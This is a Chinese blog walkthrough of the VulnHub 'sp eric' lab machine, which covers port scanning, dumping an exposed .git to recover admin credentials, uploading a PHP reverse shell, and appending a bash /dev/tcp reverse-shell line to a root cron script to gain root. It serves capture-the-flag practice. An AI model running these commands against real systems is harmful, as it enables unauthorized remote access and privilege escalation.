当前位置: 首页 > news >正文

vulnhub系列:sp eric

vulnhub系列:sp eric

靶机下载

一、信息收集

nmap扫描存活,根据mac地址寻找IP

nmap 192.168.23.0/24

image-20240811143615596

nmap扫描端口,开放端口:22、80

nmap 192.168.23.189 -p- -A -sV -Pn

image-20240811143714473

dirb 扫描目录,.git 源码,admin.php文件,upload目录等

dirb http://192.168.23.189/

image-20240811143733217

访问80端口,没有发现

image-20240811143853630

拼接访问 admin.php ,一个登录框,尝试sql注入,弱口令等,没有结果

image-20240811144043025

看看 .git ,使用 githack 下载源码

python2 GitHack.py -u http://192.168.23.189/.git/

image-20240811145145064

查看下载的源码,发现账号密码

admin:st@mpch0rdt.ightiRu$glo0mappL3

image-20240811145222291

登录 admin 页面

image-20240811144831193

二、getshell

存在文件上传,kali 生成反弹 shell

locate php-reverse-shell.phpcp /usr/share/webshells/php/php-reverse-shell.php .

image-20240811145901688

修改 IP 和端口后上传,上传后没有什么回显

kali 开启监听

nc -lvnp 4444

image-20240811150109682

虽然没有回显,但是访问 /upload/php-reverse-shell.php,成功反弹 shell

image-20240811150257799

三、提权

使用 python 提升交互性,发现没有python

python -c "import pty;pty.spawn('/bin/bash')"

image-20240811150528435

看一下有无 python3

which python3

image-20240811150603275

有 python3,那么用 python3 执行

python3 -c 'import pty;pty.spawn("/bin/bash")'

image-20240811150651778

在 /home/eric 下发现了 backup.sh,backup.zip,flag.txt 这三个文件

image-20240811150824965

查看 flag.txt

image-20240811150901132

查看 backup.sh

image-20240811151224087

可能是计划任务,看一眼

cat /etc/crontab

image-20240811151349335

看了一下,backup.sh 拥有 root 权限,且我们可写可执行

image-20240811151655658

写入反弹 shell 的语句

echo 'bash -i >& /dev/tcp/192.168.23.133/9999 0>&1' >> backup.sh

image-20240811151837670

kali 开启监听

nc -lvnp 9999

image-20240811151925129

成功反弹 shell ,提权成功,是存在计划任务的

image-20240811152247677

最后在 /root 下发现一个 flag.txt

image-20240811152330931

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • 花式表演无人机技术详解
  • 去中心化技术的崛起:探索Web3的新时代
  • [240812] X-CMD 发布 v0.4.5:更新 gtb、cd、chat、hashdir 模块功能
  • function calling后,如何让大模型进行自然语言输出?
  • 使用python在不改变原有excel的格式下,修改指定单元格格式
  • Android10 修改设备名称
  • 【C#】中IndexOf的用法
  • 【EMC专题】ESD抑制器简要介绍
  • 《数据结构(C语言版)第二版》第六章-图(6.4 图的存储结构——6.4.1 邻接矩阵)
  • Java基础之字面值常量
  • html+css+js网页设计 大一电商6个页面 带js 有轮播图,增删改查等功能
  • 【Qt】QWidget的windowTitle属性
  • Linux信号控制进程种类、内存查看和NICE优先级
  • 在CentOS 7 上安装和配置 uwsgi 详细教程
  • Secure Coding in C and C ++ (三)关于语法与指针的感悟
  • $translatePartialLoader加载失败及解决方式
  • 【跃迁之路】【444天】程序员高效学习方法论探索系列(实验阶段201-2018.04.25)...
  • 345-反转字符串中的元音字母
  • echarts的各种常用效果展示
  • IDEA常用插件整理
  • IE报vuex requires a Promise polyfill in this browser问题解决
  • If…else
  • js面向对象
  • Laravel Telescope:优雅的应用调试工具
  • leetcode讲解--894. All Possible Full Binary Trees
  • Redis提升并发能力 | 从0开始构建SpringCloud微服务(2)
  • use Google search engine
  • Vue UI框架库开发介绍
  • vue自定义指令实现v-tap插件
  • web标准化(下)
  • 纯 javascript 半自动式下滑一定高度,导航栏固定
  • 分布式熔断降级平台aegis
  • 分享自己折腾多时的一套 vue 组件 --we-vue
  • 更好理解的面向对象的Javascript 1 —— 动态类型和多态
  • 机器人定位导航技术 激光SLAM与视觉SLAM谁更胜一筹?
  • 坑!为什么View.startAnimation不起作用?
  • 如何进阶一名有竞争力的程序员?
  • 如何学习JavaEE,项目又该如何做?
  • 如何用Ubuntu和Xen来设置Kubernetes?
  • 推荐一款sublime text 3 支持JSX和es201x 代码格式化的插件
  • 移动端 h5开发相关内容总结(三)
  • 译有关态射的一切
  • 源码安装memcached和php memcache扩展
  • 06-01 点餐小程序前台界面搭建
  • gunicorn工作原理
  • ​数据链路层——流量控制可靠传输机制 ​
  • ######## golang各章节终篇索引 ########
  • #define、const、typedef的差别
  • #常见电池型号介绍 常见电池尺寸是多少【详解】
  • #设计模式#4.6 Flyweight(享元) 对象结构型模式
  • (二)Kafka离线安装 - Zookeeper下载及安装
  • (附源码)ssm本科教学合格评估管理系统 毕业设计 180916
  • (附源码)基于SSM多源异构数据关联技术构建智能校园-计算机毕设 64366
  • (每日持续更新)jdk api之StringBufferInputStream基础、应用、实战
  • (七)Activiti-modeler中文支持